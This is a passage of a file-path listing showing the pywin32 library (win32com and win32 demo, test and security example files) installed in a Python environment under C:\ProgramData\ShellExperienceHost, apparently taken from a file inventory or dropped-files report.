        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\TLBROWSE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\CLIENT\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\CONNECT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\DUMP_CLIPBOARD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\EVENTSAPARTMENTTHREADED.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\EVENTSFREETHREADED.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\EXCELADDIN.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\EXCELRTDSERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\IEBUTTON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\IETOOLBAR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\OUTLOOKADDIN.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\TRYBAG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\DEMOS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\INCLUDE\PYTHONCOM.H
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\INCLUDE\PYTHONCOMREGISTER.H
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\INCLUDE\PYTHONCOMSERVER.H
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\LIBS\AXSCRIPT.LIB
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\LIBS\PYTHONCOM.LIB
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\LICENSE.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\MAKEGW\MAKEGW.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\MAKEGW\MAKEGWENUM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\MAKEGW\MAKEGWPARSE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\MAKEGW\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\OLECTL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\README.HTM
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\DICTIONARY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\INTERP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\PERFMON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\PYTHONTOOLS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\TEST_PYCOMTEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVERS\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\CONNECT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\DISPATCHER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\EXCEPTION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\FACTORY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\LOCALSERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\POLICY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\REGISTER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\SERVER\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\STORAGECON.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\DAODUMP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\ERRORSEMANTICS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\GENTESTSCRIPTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\PIPPO.IDL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\PIPPO_SERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\POLICYSEMANTICS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\README.TXT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTACCESS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTADOEVENTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTALL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTARRAYS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTAXSCRIPT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTCLIPBOARD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTCOLLECTIONS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTCONVERSIONERRORS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTDATES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTDCOM.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTDICTIONARY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTDICTIONARY.VBS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTDYNAMIC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTEXCHANGE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTEXPLORER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTGATEWAYADDRESSES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTGIT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTINTERP.VBS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTITERATORS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTMAKEPY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTMARSHAL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTMSOFFICE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTMSOFFICEEVENTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTNETSCAPE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTPERSIST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTPIPPO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTPYCOMTEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTPYS.SCT
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTPYSCRIPTLET.JS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTROT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTSERVERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTSHELL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTSTORAGE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTSTREAMS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTVB.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTVBSCRIPT_REGEXP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTWMI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTXSLT.JS
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTXSLT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\TESTXSLT.XSL
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\TEST\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\UNIVERSAL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\UTIL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COM\__INIT__.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\BACKUPREAD_BACKUPWRITE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\BACKUPSEEK_STREAMHEADERS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\CERAPI.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\COPYFILEEX.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\CREATEFILETRANSACTED_MINIVERSION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\C_EXTENSION\SETUP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\C_EXTENSION\__PYCACHE__\SETUP.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\DDECLIENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\DDESERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\__PYCACHE__\DDECLIENT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DDE\__PYCACHE__\DDESERVER.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\DESKTOPMANAGER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\EVENTLOGDEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\EVTFORMATMESSAGE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\EVTSUBSCRIBE_PULL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\EVTSUBSCRIBE_PUSH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\FILESECURITYTEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\GETFILEVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\GETSAVEFILENAME.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\IMAGES\FROWNY.BMP
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\IMAGES\SMILEY.BMP
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\MMAPFILE_DEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\NETVALIDATEPASSWORDPOLICY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\OPENENCRYPTEDFILERAW.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\CAT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\RUNPROC.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\__PYCACHE__\CAT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PIPES\__PYCACHE__\RUNPROC.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\PRINT_DESKTOP.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\RASTEST.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\REGCREATEKEYTRANSACTED.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\REGRESTOREKEY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\ACCOUNT_RIGHTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\EXPLICIT_ENTRIES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\GETTOKENINFORMATION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\GET_POLICY_INFO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\LIST_RIGHTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\LOCALIZED_NAMES.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\LSAREGEVENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\LSASTORE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\QUERY_INFORMATION.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\REGSAVE_SA.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\REGSECURITY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SA_INHERIT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SECURITY_ENUMS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SETKERNELOBJECTSECURITY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SETNAMEDSECURITYINFO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SETSECURITYINFO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SETUSEROBJECTSECURITY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SET_FILE_AUDIT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SET_FILE_OWNER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SET_POLICY_INFO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\FETCH_URL.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\SIMPLE_AUTH.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\SOCKET_SERVER.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\VALIDATE_PASSWORD.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\__PYCACHE__\FETCH_URL.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\__PYCACHE__\SIMPLE_AUTH.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\__PYCACHE__\SOCKET_SERVER.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\SSPI\__PYCACHE__\VALIDATE_PASSWORD.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\ACCOUNT_RIGHTS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\EXPLICIT_ENTRIES.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\GETTOKENINFORMATION.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\GET_POLICY_INFO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\LIST_RIGHTS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\LOCALIZED_NAMES.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\LSAREGEVENT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\LSASTORE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\QUERY_INFORMATION.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\REGSAVE_SA.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\REGSECURITY.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SA_INHERIT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SECURITY_ENUMS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SETKERNELOBJECTSECURITY.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SETNAMEDSECURITYINFO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SETSECURITYINFO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SETUSEROBJECTSECURITY.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SET_FILE_AUDIT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SET_FILE_OWNER.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SECURITY\__PYCACHE__\SET_POLICY_INFO.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\NATIVEPIPETESTSERVICE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\PIPETESTSERVICE.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\PIPETESTSERVICECLIENT.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\SERVICEEVENTS.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\__PYCACHE__\NATIVEPIPETESTSERVICE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\__PYCACHE__\PIPETESTSERVICE.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\__PYCACHE__\PIPETESTSERVICECLIENT.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SERVICE\__PYCACHE__\SERVICEEVENTS.CPYTHON-37.PYC
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\SYSTEMPARAMETERSINFO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\TIMER_DEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32CLIPBOARDDEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32CLIPBOARD_BITMAPDEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32COMPORT_DEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32CONSOLE_DEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32CRED_DEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32FILEDEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32GUI_DEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32GUI_DEVICENOTIFY.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32GUI_DIALOG.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32GUI_MENU.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32GUI_TASKBAR.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32NETDEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32RCPARSER_DEMO.PY
        C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32\DEMOS\WIN32SERVICEDEMO.PY
